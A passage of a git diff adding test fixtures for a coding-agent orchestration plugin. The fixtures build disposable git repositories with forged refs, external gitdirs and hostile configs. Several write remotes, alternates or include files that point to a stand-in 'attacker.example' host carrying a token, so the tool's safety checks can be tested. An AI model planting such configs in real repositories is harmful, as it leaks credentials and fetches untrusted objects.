'--orphan', 'side']); + const sideSha = await commit(root, 'side', 'side.txt', 'side'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha, + headSha: sideSha, + extra: { sideSha }, + }); +} + +export async function createWrongMergeBaseRepo() { + const root = await emptyRepo('p14-mergebase-'); + const rootSha = await commit(root, 'root', 'root.txt', 'root'); + await runFixtureGit(root, ['checkout', '-b', 'left']); + const leftSha = await commit(root, 'left', 'left.txt', 'left'); + await runFixtureGit(root, ['checkout', '-B', 'main', leftSha]); + await runFixtureGit(root, ['checkout', '-b', 'right', rootSha]); + const rightSha = await commit(root, 'right', 'right.txt', 'right'); + await runFixtureGit(root, ['checkout', 'main']); + return wrap(root, { + baseSha: leftSha, + headSha: rightSha, + extra: { rootSha, leftSha, rightSha }, + }); +} + +export async function createReplaceRefRepo() { + const repo = await createLinearRepo(); + const tree = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + const forged = await runFixtureGit(repo.path, [ + 'commit-tree', tree, '-m', 'forged-replace', + ]); + await runFixtureGit(repo.path, ['replace', repo.baseSha, forged]); + repo.extra = { ...repo.extra, forged }; + return repo; +} + +export async function createGraftsRepo() { + const repo = await createLinearRepo(); + const graftsDir = path.join(repo.path, '.git', 'info'); + await mkdir(graftsDir, { recursive: true }); + await writeFile( + path.join(graftsDir, 'grafts'), + `${repo.headSha} ${'0'.repeat(40)}\n`, + 'utf8', + ); + return repo; +} + +export async function createDetachedHeadRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['checkout', '--detach', repo.headSha]); + return repo; +} + +export async function createUnbornRepo() { + const root = await emptyRepo('p14-unborn-'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonCommitHeadRepo() { + const repo = await createLinearRepo(); + const treeSha = await runFixtureGit(repo.path, ['rev-parse', 'HEAD^{tree}']); + repo.extra = { ...repo.extra, treeSha }; + repo.headSha = treeSha; + return repo; +} + +export async function createSymbolicRefDriftRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['symbolic-ref', 'refs/heads/alias', BASE_REF]); + repo.extra = { ...repo.extra, alias: 'refs/heads/alias' }; + return repo; +} + +export async function createMissingRepoPath() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-missing-')); + await rm(root, { recursive: true, force: true }); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createNonGitDirectory() { + const root = await mkdtemp(path.join(tmpdir(), 'p14-nongit-')); + await writeFile(path.join(root, 'readme.txt'), 'not a git repo\n', 'utf8'); + return wrap(root, { + baseSha: 'a'.repeat(40), + headSha: 'b'.repeat(40), + extra: {}, + }); +} + +export async function createLinkedWorktreeRepo() { + const main = await createLinearRepo(); + const linkedParent = await mkdtemp(path.join(tmpdir(), 'p14-linked-')); + const linkedRoot = path.join(linkedParent, 'wt'); + await runFixtureGit(main.path, ['worktree', 'add', '-b', 'linked-head', linkedRoot, main.headSha]); + return { + path: linkedRoot, + baseSha: main.baseSha, + headSha: main.headSha, + extra: { mainPath: main.path }, + cleanup: async () => { + try { + await runFixtureGit(main.path, ['worktree', 'remove', '--force', linkedRoot]); + } catch { + await cleanupRepo(linkedRoot); + } + await cleanupRepo(linkedParent); + await main.cleanup(); + }, + }; +} + +export async function createExternalGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-extgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await writeFile(path.join(repo.path, '.git'), `gitdir: ${externalGit}\n`, 'utf8'); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createSymlinkGitdirRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-symgit-')); + const externalGit = path.join(externalRoot, 'hostile.git'); + await rename(path.join(repo.path, '.git'), externalGit); + await symlink(externalGit, path.join(repo.path, '.git')); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, externalGit }; + repo.cleanup = async () => { + await originalCleanup(); + await cleanupRepo(externalRoot); + }; + return repo; +} + +export async function createAlternatesRepo() { + const donor = await createLinearRepo(); + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'alternates'), + `${path.join(donor.path, '.git', 'objects')}\n`, + 'utf8', + ); + const originalCleanup = repo.cleanup; + repo.extra = { ...repo.extra, donorPath: donor.path, donorHeadSha: donor.headSha }; + repo.cleanup = async () => { + await originalCleanup(); + await donor.cleanup(); + }; + return repo; +} + +export async function createHttpAlternatesRepo() { + const repo = await createLinearRepo(); + const infoDir = path.join(repo.path, '.git', 'objects', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile( + path.join(infoDir, 'http-alternates'), + 'https://attacker.example/objects?token=SUPERSECRET\n', + 'utf8', + ); + return repo; +} + +export async function createPromisorPackRepo() { + const repo = await createLinearRepo(); + const packDir = path.join(repo.path, '.git', 'objects', 'pack'); + await mkdir(packDir, { recursive: true }); + await writeFile(path.join(packDir, 'pack-deadbeef.promisor'), '', 'utf8'); + return repo; +} + +export async function createPartialCloneConfigRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['config', 'extensions.partialClone', 'origin']); + await runFixtureGit(repo.path, ['config', 'remote.origin.promisor', 'true']); + await runFixtureGit(repo.path, ['config', 'remote.origin.partialclonefilter', 'blob:none']); + await runFixtureGit(repo.path, ['config', 'remote.origin.url', 'https://attacker.example/steal.git']); + return repo; +} + +const HOSTILE_INCLUDE_BYTES = `[extensions] + partialClone = origin +[remote "origin"] + url = https://attacker.example/steal.git?token=SUPERSECRET + promisor = true + partialclonefilter = blob:none +`; + +function attachCleanup(repo, extraRoots) { + const originalCleanup = repo.cleanup; + repo.cleanup = async () => { + await originalCleanup(); + for (const root of extraRoots) await cleanupRepo(root); + }; + return repo; +} + +async function writeHostileIncludeFile(prefix) { + const externalRoot = await mkdtemp(path.join(tmpdir(), prefix)); + const includeFile = path.join(externalRoot, 'hostile.cfg'); + await writeFile(includeFile, HOSTILE_INCLUDE_BYTES, 'utf8'); + return { externalRoot, includeFile }; +} + +export async function createAbsoluteExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-absinc-'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createRelativeExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-relinc-'); + const relative = path.relative(path.join(repo.path, '.git'), includeFile); + await runFixtureGit(repo.path, ['config', 'include.path', relative]); + repo.extra = { ...repo.extra, includeFile, relative, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createActiveIncludeIfRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-incif-'); + await runFixtureGit(repo.path, ['config', 'includeIf.onbranch:main.path', includeFile]); + repo.extra = { ...repo.extra, includeFile, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createSymlinkExternalIncludeRepo() { + const repo = await createLinearRepo(); + const { externalRoot, includeFile } = await writeHostileIncludeFile('p14-syminc-'); + const linkPath = path.join(repo.path, '.git', 'included.cfg'); + await symlink(includeFile, linkPath); + await runFixtureGit(repo.path, ['config', 'include.path', 'included.cfg']); + repo.extra = { ...repo.extra, includeFile, linkPath, token: 'SUPERSECRET' }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createBenignIncludeRepo() { + const repo = await createLinearRepo(); + const externalRoot = await mkdtemp(path.join(tmpdir(), 'p14-benigninc-')); + const includeFile = path.join(externalRoot, 'benign.cfg'); + await writeFile(includeFile, '[user]\n\tname = p14-benign\n', 'utf8'); + await runFixtureGit(repo.path, ['config', 'include.path', includeFile]); + repo.extra = { ...repo.extra, includeFile }; + return attachCleanup(repo, [externalRoot]); +} + +export async function createLinkedWorktreePromisorConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'remote.origin.promisor', 'true']); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.partialclonefilter', 'blob:none', + ]); + await runFixtureGit(linked.path, [ + 'config', '--worktree', 'remote.origin.url', + 'https://attacker.example/worktree.git?token=WTSECRET', + ]); + linked.extra = { ...linked.extra, token: 'WTSECRET' }; + return linked; +} + +export async function createLinkedWorktreeBenignConfigRepo() { + const linked = await createLinkedWorktreeRepo(); + await runFixtureGit(linked.extra.mainPath, ['config', 'extensions.worktreeConfig', 'true']); + await runFixtureGit(linked.path, ['config', '--worktree', 'user.name', 'p14-linked-benign']); + return linked; +} + +export async function createAnnotatedTagBranchRepo() { + const repo = await createLinearRepo(); + await runFixtureGit(repo.path, ['tag', '-a', 'forged-base', '-m', 'forged annotated base', repo.baseSha]); + const tagSha = await runFixtureGit(repo.path, ['rev-parse', 'forged-base']); + await writeFile(path.join(repo.path, '.git', 'refs', 'heads', 'main'), `${tagSha}\n`, 'utf8'); + repo.extra = { ...repo.extra, tagSha }; + return repo; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs new file mode 100644 index 0000000..ce8aebf --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-grok-acp-transport.mjs @@ -0,0 +1,174 @@ +// Deterministic injected Grok ACP transport for P18 tests. +// Records closed operation requests and plays scripted receipts or failures. +// This is not a live Grok client. + +import { RunContractV1Error } from '../../mcp/v3/run-manifest.mjs'; +import { childEnvelopeDigestV1 } from '../../mcp/v3/identity.mjs'; +import { compileChildEnvelopeV1 } from '../../mcp/v3/prompt-compiler.mjs'; + +export const GROK_FIXTURE_BASE_SHA = 'b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1'; +export const GROK_FIXTURE_REPOSITORY_PATH = '/opt/codex-co-engineer-grok-acp/suite'; +export const GROK_FIXTURE_RUN_ID = 'grok-acp-driver-suite'; +export const GROK_FIXTURE_ASSIGNMENT_ID = 'grok-lane'; +export const GROK_FIXTURE_MODEL = 'grok-4'; +export const GROK_FIXTURE_SESSION_ID = 'sess-grok-acp-1'; + +export function buildGrokDriverFixtureV1(overrides = {}) { + const assignment = { + assignment_id: GROK_FIXTURE_ASSIGNMENT_ID, + role: 'implement', + access: 'writer', + prompt: 'Implement the Grok ACP lane exactly as instructed by the envelope.', + execution: { provider: 'grok', model: GROK_FIXTURE_MODEL }, + write_scope: ['mcp/**'], + acceptance: [{ command_id: 'unit-tests', timeout_ms: 600_000 }], + expected_duration_ms: 1_200_000, + required_evidence: ['provider_report', 'git_diff'], + ...overrides.assignment, + }; + const manifest = Object.freeze({ + schema: 'codex-co-engineer.run.v1', + run_id: GROK_FIXTURE_RUN_ID, + repository: Object.freeze({ + path: GROK_FIXTURE_REPOSITORY_PATH, + base_sha: GROK_FIXTURE_BASE_SHA, + }), + objective: 'Exercise the Grok ACP ProviderDriverV1 adapter end to end.', + assignments: Object.freeze([Object.freeze(assignment)]), + policy: Object.freeze({ + max_concurrency: 8, + require_same_base: true, + require_disjoint_writer_scopes: true, + allow_post_dispatch_fallback: false, + allow_merge: false, + allow_create_pr: false, + attention_mode: 'aggregate', + completion_mode: 'all_settled_then_verify', + }), + return_contract: Object.freeze({ mode: 'verified_decision', include_artifact_refs: true }), + ...overrides.manifest, + }); + const envelope = compileChildEnvelopeV1(manifest, GROK_FIXTURE_ASSIGNMENT_ID); + return Object.freeze({ + manifest, + envelope, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + model: envelope.execution.model, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }); +} + +function identityFromRequest(request) { + return { + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + repository_path: request.repository_path, + }; +} + +function takeScripted(script, name) { + const value = script[name]; + if (Array.isArray(value)) { + if (value.length === 0) return { kind: 'default' }; + return { kind: 'item', value: value.shift() }; + } + if (value === undefined) return { kind: 'default' }; + return { kind: 'item', value }; +} + +function asError(value) { + if (value instanceof Error) return value; + const error = new RunContractV1Error( + value.code ?? 'transport_exception', + value.path ?? 'grok_acp_transport', + value.message ?? 'Scripted Grok ACP transport failure.', + ); + if (value.spawned === true) error.spawned = true; + return error; +} + +const TRANSPORT_CALLS = new WeakMap(); + +export function createScriptedGrokAcpTransportV1(script = {}) { + const calls = []; + let sessionId = script.session_id ?? GROK_FIXTURE_SESSION_ID; + let requestId; + + function record(operation, request) { + calls.push({ operation, request }); + } + + function play(name, request, buildDefault) { + record(name, request); + const next = takeScripted(script, name); + if (next.kind === 'default') return buildDefault(); + const value = next.value; + if (typeof value === 'function') return value(request, { sessionId, requestId, calls }); + if (value === 'default') return buildDefault(); + if (value?.throw) throw asError(value.throw); + if (value?.fail) throw asError(value.fail); + return value; + } + + const transport = { + preflight: (request) => play('preflight', request, () => ({ + ok: true, + ...identityFromRequest(request), + })), + spawn: (request) => play('spawn', request, () => ({ + spawned: true, + session_id: sessionId, + ...identityFromRequest(request), + })), + dispatch: (request) => play('dispatch', request, () => { + requestId = request.request_id; + sessionId = request.session_id ?? sessionId; + return { + acknowledged: true, + session_id: sessionId, + request_id: requestId, + provider: request.provider, + model: request.model, + run_id: request.run_id, + assignment_id: request.assignment_id, + lane_index: request.lane_index, + base_sha: request.base_sha, + child_envelope_digest: request.child_envelope_digest, + }; + }), + observe: (request) => play('observe', request, () => ({ + session_id: request.session_id ?? sessionId, + status: 'completed', + ...identityFromRequest(request), + })), + cancel: (request) => play('cancel', request, () => ({ + outcome: 'cancel_confirmed', + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + reattach: (request) => play('reattach', request, () => ({ + reattached: true, + session_id: request.session_id ?? sessionId, + ...identityFromRequest(request), + })), + }; + TRANSPORT_CALLS.set(transport, calls); + return transport; +} + +export function grokAcpTransportCalls(transport) { + return TRANSPORT_CALLS.get(transport) ?? []; +} + +export function grokAcpCallsOf(transport, operation) { + return grokAcpTransportCalls(transport).filter((entry) => entry.operation === operation); +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs new file mode 100644 index 0000000..987649a --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-local-provider-result-sink-fixtures.mjs @@ -0,0 +1,121 @@ +// Fixtures for the P11 local provider result sink tests. +// +// Pure data builders, tiny local helpers, and pinned secrets. Store-root +// helpers chmod 0700 after creation and never change process umask. + +import { createHash } from 'node:crypto'; +import { chmodSync, mkdtempSync, rmSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { ARTIFACT_REF_SCHEMA_ID } from '../../mcp/v3/artifact-ref.mjs'; +import { + LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES, +} from '../../mcp/v3/local-provider-result-sink.mjs'; + +export const RUN_ID = 'run-p11-sink'; +export const CHILD_A = 'lane-alpha'; +export const CHILD_B = 'lane-beta'; +export const CHILD_C = 'lane-gamma'; + +export const GROK_MODEL = 'grok-code'; +export const CURSOR_MODEL = 'auto'; +export const DSH_MODEL = 'muse-spark-1.2-contributor'; + +export const SECRET = 'sk-live-secret-1234567890'; +export const SPLIT_SECRET = 'sk-split-token-1234567890'; +export const PROMPT_SECRET = 'do not echo this instruction'; +export const REPLACEMENT = '[REDACTED]'; + +export const INLINE_TAIL_MAX = LOCAL_PROVIDER_RESULT_SINK_INLINE_TAIL_MAX_BYTES; + +export function digestOf(bytes) { + return createHash('sha256').update(bytes).digest('hex'); +} + +export function makeStoreRoot(prefix = 'cce-p11-sink-') { + const root = mkdtempSync(path.join(tmpdir(), prefix), { mode: 0o700 }); + chmodSync(root, 0o700); + return root; +} + +export function removeRoot(root) { + rmSync(root, { recursive: true, force: true }); +} + +export function identityFor(provider, overrides = {}) { + const model = provider === 'dsh' + ? DSH_MODEL + : provider === 'cursor-local' + ? CURSOR_MODEL + : GROK_MODEL; + return { + run_id: RUN_ID, + assignment_id: CHILD_A, + provider, + model, + ...overrides, + }; +} + +export function grokText(suffix = 'VERDICT: GROK PASS') { + return `grok local acp output\n${suffix}`; +} + +export function cursorText(suffix = 'VERDICT: CURSOR PASS') { + return `cursor-local acp output\n${suffix}`; +} + +export function dshObject(suffix = 'VERDICT: DSH OBJECT PASS') { + return { + progress: 'dsh-progress', + nested: { final: suffix }, + }; +} + +export async function* chunksOf(bytes, size = 8) { + const view = Buffer.isBuffer(bytes) ? bytes : Buffer.from(bytes, 'utf8'); + const width = Math.max(1, size); + for (let offset = 0; offset < view.byteLength; offset += width) { + yield view.subarray(offset, Math.min(offset + width, view.byteLength)); + } +} + +export async function* splitStringChunks(text, at) { + yield text.slice(0, at); + yield text.slice(at); +} + +export function exact4096(suffix = 'TAIL') { + const suffixBytes = Buffer.byteLength(suffix, 'utf8'); + const prefix = 'a'.repeat(INLINE_TAIL_MAX - suffixBytes); + return `${prefix}${suffix}`; +} + +export function unicodeSplitWindow() { + const wolf = '🐺'; + const prefix = 'p'.repeat(10); + const suffix = 's'.repeat(4093); + return `${prefix}${wolf}${suffix}`; +} + +export function oversizeTail(suffix = 'VERDICT: OVERSIZE PASS') { + return `${'x'.repeat(5000)}${suffix}`; +} + +export function conflictingSanitizedRef(relativePath, bytes) { + return { + schema: ARTIFACT_REF_SCHEMA_ID, + run_id: RUN_ID, + assignment_id: CHILD_A, + artifact_kind: 'provider_report', + artifact_class: 'sanitized', + relative_path: relativePath, + byte_length: bytes.byteLength, + sha256: digestOf(bytes), + media_type: 'text/plain', + content_encoding: 'identity', + }; +} + +export class SubclassedBytes extends Uint8Array {} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs new file mode 100644 index 0000000..f11e95b --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-protected-ref-audit-fixtures.mjs @@ -0,0 +1,309 @@ +// Disposable repository fixtures for P30 live protected-ref audit. +// Construction uses argv git only. Disposable repositories never attach +// remotes, credentials, or push URLs. Tests own the assertions. + +import { spawn, spawnSync } from 'node:child_process'; +import { createHash } from 'node:crypto'; +import { lstat, mkdir, mkdtemp, readdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import path from 'node:path'; + +import { + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_VERSION, +} from '../../mcp/v3/protected-ref-audit.mjs'; + +export const RUN_ID = 'run-protected-ref-01'; +export const ASSIGNMENT_ID = 'lane-audit'; +export const MAIN_REF = 'refs/heads/main'; +export const MASTER_REF = 'refs/heads/master'; +export const CONTENT_FREE = /^[A-Za-z0-9_=.:/\[\]()";', -]+$/u; + +export const GIT_ENV = Object.freeze({ + PATH: '/usr/bin:/bin', + HOME: '/tmp', + LANG: 'C', + LC_ALL: 'C', + TZ: 'UTC', + GIT_CONFIG_NOSYSTEM: '1', + GIT_CONFIG_GLOBAL: '/dev/null', + GIT_CONFIG_SYSTEM: '/dev/null', + GIT_TERMINAL_PROMPT: '0', + GIT_OPTIONAL_LOCKS: '0', + GIT_AUTHOR_NAME: 'p30', + GIT_AUTHOR_EMAIL: 'p30@example.test', + GIT_COMMITTER_NAME: 'p30', + GIT_COMMITTER_EMAIL: 'p30@example.test', +}); + +export function countingProxy(target) { + const counts = { get: 0, ownKeys: 0, getOwnPropertyDescriptor: 0, has: 0, apply: 0 }; + const proxy = new Proxy(target, { + get(inner, property, receiver) { + counts.get += 1; + return Reflect.get(inner, property, receiver); + }, + ownKeys(inner) { + counts.ownKeys += 1; + return Reflect.ownKeys(inner); + }, + getOwnPropertyDescriptor(inner, property) { + counts.getOwnPropertyDescriptor += 1; + return Reflect.getOwnPropertyDescriptor(inner, property); + }, + has(inner, property) { + counts.has += 1; + return Reflect.has(inner, property); + }, + apply() { + counts.apply += 1; + throw new Error('proxy apply must never run'); + }, + }); + return { proxy, counts }; +} + +export function trapTotal(counts) { + return counts.get + counts.ownKeys + counts.getOwnPropertyDescriptor + counts.has + counts.apply; +} + +export function git(cwd, args, env = GIT_ENV) { + const result = spawnSync('/usr/bin/git', [ + '-c', 'init.defaultBranch=main', + '-c', 'user.name=p30', + '-c', 'user.email=p30@example.test', + ...args, + ], { cwd, encoding: 'utf8', env }); + if (result.status !== 0) { + const error = new Error('disposable git command failed'); + error.code = 'git_fixture_failed'; + error.stderr = result.stderr; + error.stdout = result.stdout; + throw error; + } + return typeof result.stdout === 'string' ? result.stdout.trim() : ''; +} + +export async function cleanupRepo(root) { + await rm(root, { recursive: true, force: true }); +} + +function wrap(root, fields) { + return { + path: root, + ...fields, + cleanup: () => cleanupRepo(root), + }; +} + +async function emptyRepo(prefix, extraArgs = []) { + const root = await mkdtemp(path.join(tmpdir(), prefix)); + git(root, ['init', '--initial-branch=main', ...extraArgs]); + return root; +} + +async function commit(root, message, fileName = 'file.txt', contents = message) { + await writeFile(path.join(root, fileName), `${contents}\n`, 'utf8'); + git(root, ['add', '--', fileName]); + git(root, ['commit', '-m', message]); + return git(root, ['rev-parse', 'HEAD']); +} + +export function validIdentity(repositoryPath, baseSha, overrides = {}) { + return { + repository_path: repositoryPath, + base_sha: baseSha, + run_id: RUN_ID, + assignment_id: ASSIGNMENT_ID, + ...overrides, + }; +} + +export function validRequest(repositoryPath, baseSha, overrides = {}) { + const expectedRefs = overrides.expected_refs ?? [{ ref: MAIN_REF, sha: baseSha }]; + const request = { + schema: PROTECTED_REF_AUDIT_SCHEMA_ID, + version: PROTECTED_REF_AUDIT_VERSION, + identity: overrides.identity ?? validIdentity(repositoryPath, baseSha, overrides.identity_overrides), + expected_refs: expectedRefs, + }; + for (const key of Object.keys(overrides)) { + if (key === 'identity_overrides' || key === 'expected_refs' || key === 'identity') continue; + request[key] = overrides[key]; + } + if (overrides.identity) request.identity = overrides.identity; + if (overrides.expected_refs) request.expected_refs = overrides.expected_refs; + return request; +} + +export async function createLocalProtectedRepo(prefix = 'p30-local-') { + const root = await emptyRepo(prefix); + const baseSha = await commit(root, 'base', 'base.txt', 'base'); + git(root, ['tag', 'v1', baseSha]); + const tagSha = git(root, ['rev-parse', 'refs/tags/v1']); + return wrap(root, { baseSha, headSha: baseSha, tagSha, kind: 'local' }); +} + +export async function createPackedProtectedRepo(prefix = 'p30-packed-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['pack-refs', '--all']); + return { ...repo, kind: 'packed' }; +} + +export async function createBareProtectedRepo(prefix = 'p30-bare-') { + const source = await createLocalProtectedRepo(`${prefix}src-`); + const bareRoot = path.join(path.dirname(source.path), `${path.basename(source.path)}-bare`); + git(path.dirname(source.path), ['clone', '--bare', '--local', source.path, bareRoot]); + const baseSha = git(bareRoot, ['rev-parse', 'refs/heads/main']); + const tagSha = git(bareRoot, ['rev-parse', 'refs/tags/v1']); + return wrap(bareRoot, { + baseSha, + headSha: baseSha, + tagSha, + kind: 'bare', + cleanup: async () => { + await cleanupRepo(bareRoot); + await source.cleanup(); + }, + }); +} + +export async function createLinkedWorktreeProtectedRepo(prefix = 'p30-wt-') { + const repo = await createLocalProtectedRepo(prefix); + const worktreePath = path.join(path.dirname(repo.path), `${path.basename(repo.path)}-wt`); + git(repo.path, ['worktree', 'add', '--detach', worktreePath, repo.headSha]); + return { + ...repo, + worktreePath, + kind: 'linked_worktree', + cleanup: async () => { + await rm(worktreePath, { recursive: true, force: true }); + await repo.cleanup(); + }, + }; +} + +export async function createMovedProtectedRepo(prefix = 'p30-moved-') { + const repo = await createLocalProtectedRepo(prefix); + const original = repo.baseSha; + const movedSha = await commit(repo.path, 'moved', 'moved.txt', 'moved'); + return { ...repo, baseSha: original, headSha: movedSha, movedSha, kind: 'moved' }; +} + +export async function createSymbolicProtectedRepo(prefix = 'p30-sym-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['symbolic-ref', 'refs/heads/release', MAIN_REF]); + return { ...repo, aliasRef: 'refs/heads/release', kind: 'symbolic' }; +} + +export async function createAliasedLooseProtectedRepo(prefix = 'p30-alias-') { + const repo = await createLocalProtectedRepo(prefix); + git(repo.path, ['branch', 'master', repo.baseSha]); + const loose = path.join(repo.path, '.git', 'refs', 'heads', 'main'); + await rm(loose, { force: true }); + await symlink('master', loose); + return { ...repo, kind: 'aliased' }; +} + +export async function createMissingDefaultRepo(prefix = 'p30-missing-') { + const repo = await createLocalProtectedRepo(prefix); + return { ...repo, kind: 'missing' }; +} + +export async function createReplaceProtectedRepo(prefix = 'p30-replace-') { + const repo = await createLocalProtectedRepo(prefix); + const tree = git(repo.path, ['rev-parse', 'HEAD^{tree}']); + const forged = git(repo.path, ['commit-tree', tree, '-m', 'forged-replace']); + git(repo.path, ['update-ref', `refs/replace/${repo.baseSha}`, forged]); + return { ...repo, extra: { forged }, kind: 'replace' }; +} + +export async function createGraftsProtectedRepo(prefix = 'p30-grafts-') { + const repo = await createLocalProtectedRepo(prefix); + const infoDir = path.join(repo.path, '.git', 'info'); + await mkdir(infoDir, { recursive: true }); + await writeFile(path.join(infoDir, 'grafts'), `${repo.headSha} ${'0'.repeat(40)}\n`, 'utf8'); + return { ...repo, kind: 'grafts' }; +} + +export async function createSymlinkAliasPathRepo(prefix = 'p30-linkpath-') { + const repo = await createLocalProtectedRepo(prefix); + const alias = path.join(path.dirname(repo.path), `${path.basename(repo.path)}-alias`); + await symlink(repo.path, alias, 'dir'); + return { + ...repo, + aliasPath: alias, + cleanup: async () => { + await rm(alias, { force: true }); + await repo.cleanup(); + }, + }; +} + +export async function snapshotRepositoryIdentity(root) { + const entries = []; + async function walk(relative) { + const absolute = path.join(root, relative); + const metadata = await lstat(absolute); + if (metadata.isDirectory()) { + entries.push({ p: relative, t: 'dir', m: metadata.mode }); + const children = await readdir(absolute); + children.sort(); + for (const child of children) await walk(path.join(relative, child)); + return; + } + if (metadata.isSymbolicLink()) { + entries.push({ p: relative, t: 'link', m: metadata.mode }); + return; + } + const digest = createHash('sha256'); + if (metadata.size <= 1024 * 1024) digest.update(await readFile(absolute)); + else digest.update(String(metadata.size)); + entries.push({ + p: relative, t: 'file', m: metadata.mode, s: metadata.size, h: digest.digest('hex'), + }); + } + await walk(''); + const refs = git(root, ['for-each-ref', '--format=%(refname) %(objectname)']); + return { entries, refs }; +} + +export function createRecordingSpawn(mutateOnDeclaredSnapshot) { + const records = []; + let declaredSnapshots = 0; + const spawnFn = (file, args, options) => { + const env = options?.env ?? {}; + records.push({ + file, + args: [...args], + envKeys: Object.keys(env).sort(), + env: { ...env }, + cwd: options?.cwd, + }); + const isForEach = Array.isArray(args) && args.includes('for-each-ref'); + const isReplace = Array.isArray(args) && args.includes('refs/replace'); + if (typeof mutateOnDeclaredSnapshot === 'function' && isForEach && !isReplace) { + declaredSnapshots += 1; + if (declaredSnapshots === 2) mutateOnDeclaredSnapshot(); + } + return spawn(file, args, options); + }; + return { spawn: spawnFn, records }; +} + +export function fixtureGitCommands(records) { + const commands = []; + for (const record of records) { + for (let i = 0; i < record.args.length; i += 1) { + const arg = record.args[i]; + if (arg === '-C' || arg === '--git-dir' || arg === '-c') { + i += 1; + continue; + } + if (typeof arg === 'string' && arg.startsWith('-')) continue; + commands.push(arg); + break; + } + } + return commands; +} diff --git a/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs new file mode 100644 index 0000000..4f3c611 --- /dev/null +++ b/plugins/codex-co-engineer/test/fixtures/r1-run-api-boundary-fixtures.mjs @@ -0,0 +1,400 @@ +// Neutral fixtures for RunApiBoundaryV1 tests. Construction only: already- +// produced P30/P31-shaped values, no Git, filesystem, process, network, +// provider, credential, or orchestration execution. Tests own the assertions. + +import { + PROTECTED_REF_AUDIT_CHECKS, + PROTECTED_REF_AUDIT_SCHEMA_ID, + PROTECTED_REF_AUDIT_SIDE_EFFECT_NONCLAIMS, + PROTECTED_REF_AUDIT_VERSION, +} from '../../mcp/v3/protected-ref-audit.mjs'; +import { GIT_IDENTITY_SCHEMA_ID } from '../../mcp/v3/protected-identity.mjs'; +import { + RUN_API_BOUNDARY_SCHEMA_ID, + RUN_API_BOUNDARY_VERSION, +} from '../../mcp/v3/run-api-boundary.mjs'; +import { + RUN_ORCHESTRATION_CHECKS, + RUN_ORCHESTRATION_SCHEMA_ID, + RUN_ORCHESTRATION_SIDE_EFFECTS, + RUN_ORCHESTRATION_VERSION, +} from '../../mcp/v3/run-orchestration.mjs'; +import { + PREFLIGHT_MAX_CHILDREN, + PREFLIGHT_MIN_CHILDREN, + RUN_PREFLIGHT_CHECKS, + RUN_PREFLIGHT_SCHEMA_ID, + RUN_PREFLIGHT_SIDE_EFFECT_NONCLAIMS, + 